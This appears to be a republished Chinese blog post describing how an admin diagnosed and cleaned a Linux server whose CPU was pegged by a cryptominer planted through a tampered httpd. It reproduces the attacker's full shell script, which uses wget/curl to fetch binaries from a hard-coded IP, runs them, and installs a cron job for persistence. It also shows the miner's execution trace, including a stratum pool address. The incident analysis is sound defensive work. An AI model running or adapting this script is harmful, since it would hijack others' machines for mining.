共計 2840 個字符,預計需要花費 8 分鐘才能閱讀完成。
這篇“Linux 系統 cpu 的 100% 修復方法是什么”文章的知識點大部分人都不太理解,所以丸趣 TV 小編給大家總結了以下內容,內容詳細,步驟清晰,具有一定的借鑒價值,希望大家閱讀完這篇文章能有所收獲,下面我們一起來看看這篇“Linux 系統 cpu 的 100% 修復方法是什么”文章吧。
案例背景:
Linux 主機連續三天 CPU%
處理思路:
1、 登錄服務器查看 /var/log/messages+/var/log/messages.1+/var/log/messages.3 里恰好沒那三天的日志
2、 dmesg 里也無有用的信息
3、 至此懷疑是被攻擊了,自然而然的去看對應時間點的帶寬占用情況,查看之后發現帶寬一切正常,繼續排查
4、 懷疑是某個程序的異常,首先的從 web 進程開始查,通過 httpd 的 erorr_log 發現了異常的現象,httpd 程序被修改過,執行的腳本就是附錄的 shell 腳本
2014-09-0319:19:50 (124 KB/s) –“plm”saved [26587/26587]
FINISHED–2014-09-03 19:19:50–
Downloaded:1 files, 26K in 0.2s (124 KB/s)
+ perlplm
+ rm -rfplm
+ chmod+x apache
+ chmod+x apache-ssl
++ ps x
++ grep-v grep
++ awk {print $1}
++ grep stratum
+ kill -9
kill:usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec … or kill -l[sigspec]
+ killall-9 kav m32 m64 apache apache-ssl
kav: noprocess killed
m32: noprocess killed
m64: noprocess killed
apache:no process killed
apache-ssl:no process killed
+ PATH=.
+ apache-c httpd.conf
a.sh:./apache: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
[root@iZ23vqwi2k5Z~]# + PATH=.
+apache-ssl -c httpd.conf
[2014-09-0319:19:50] Starting Stratum on stratum+tcp://80.240.137.183:3333/
[2014-09-0319:19:50] 2 miner threads started, using scrypt algorithm.
[2014-09-0319:19:50] Binding thread 0 to cpu 0
[2014-09-0319:19:50] Binding thread 1 to cpu 1
[2014-09-0319:19:51] Stratum detected new block
[2014-09-0319:20:02] Stratum detected new block
[2014-09-03 19:22:53] Stratum detected new block
5、 在阿里云的測試機器上,通過運行這個腳本,測試運行的過程中 cpu 持續 100%,httpd 的 error_log 的內容和客戶機器上的基本一致,(看來是基本功沒做好的黑客,屁股沒擦干凈)至此已經完全定位問題,懷疑是服務器 web 程序被修改拿來干壞事(懷疑挖礦)
6、 清除異常進程的的思路,按照腳本內容做大致的推測
(1)、首先想到的是刪除異常目錄文件
# rm -rf /dev/shm/*(刪除)
(2)、ps 到具體的進程 kill 掉
#Ps aux|grep apche
#root 1615 199 0.1 314992 4200 pts/0 Sl 19:19 37:38 apache-ssl -chttpd.conf
#pkill -9 apache
#ps aux|grep apache|awk {print $2} |xargs kill -9(刪除惡意進程)
(3)、以上操作執行之后發現異常目錄文件再次生成,apache-ssl 進程再次啟動,查看腳本里有對 cron 的操作, 把 cron 清空,再次執行之上的動作就可以了
# crontab –l
* * * * * /dev/shm/update /dev/null 2 1
(4)、試著重新啟動 httpd 進程,發現失敗,查看日志是配置文件的異常,查看 httpd.conf 出現 bak 的備份文件,良心黑客啊,干壞事不忘記先給客戶備份文件。
# pwd
/alidata/server/httpd/conf
# cp httpd.conf.bak httpd.conf
# /etc/init.d/httpd start(此步驟 httpd 進程恢復)
7、 附錄惡意用戶的 shell 內容
#!/bin/sh
crontab-r
cd/dev/shm
rm -rf a*c* update*
pwd mech.dir
dir=$(catmech.dir)
echo * * * * * $dir/update /dev/null 2 1 cron.d
crontabcron.d
crontab-l | grep update
wget 173.255.212.191/update /dev/null
curl -Ohttp://173.255.212.191/update /dev/null
chmod u+xupdate
#chattr-ia bash
#chattr-ia *
curl -Ohttp://173.255.212.191/apache
curl -Ohttp://173.255.212.191/apache-ssl
crul -Ohttp://173.255.212.191/httpd.conf
wget173.255.212.191/httpd.conf
wgethttp://173.255.212.191/apache
wgethttp://173.255.212.191/apache-ssl
wget wgethttp://173.255.212.191/plm
perl plm
rm -rfplm*
chmod +xapache
chmod +xapache-ssl
#kill -9`ps x|grep miner|grep -v grep|awk {print $1} `
kill -9`ps x|grep stratum|grep -v grep|awk {print $1} `
killall-9 kav m32 m64 apache apache-ssl
PATH= . apache -c httpd.conf
PATH= . apache-ssl -c httpd.conf
#chattr+ia bash
#chattr +ia sh
以上就是關于“Linux 系統 cpu 的 100% 修復方法是什么”這篇文章的內容,相信大家都有了一定的了解,希望丸趣 TV 小編分享的內容對大家有幫助,若想了解更多相關的知識內容,請關注丸趣 TV 行業資訊頻道。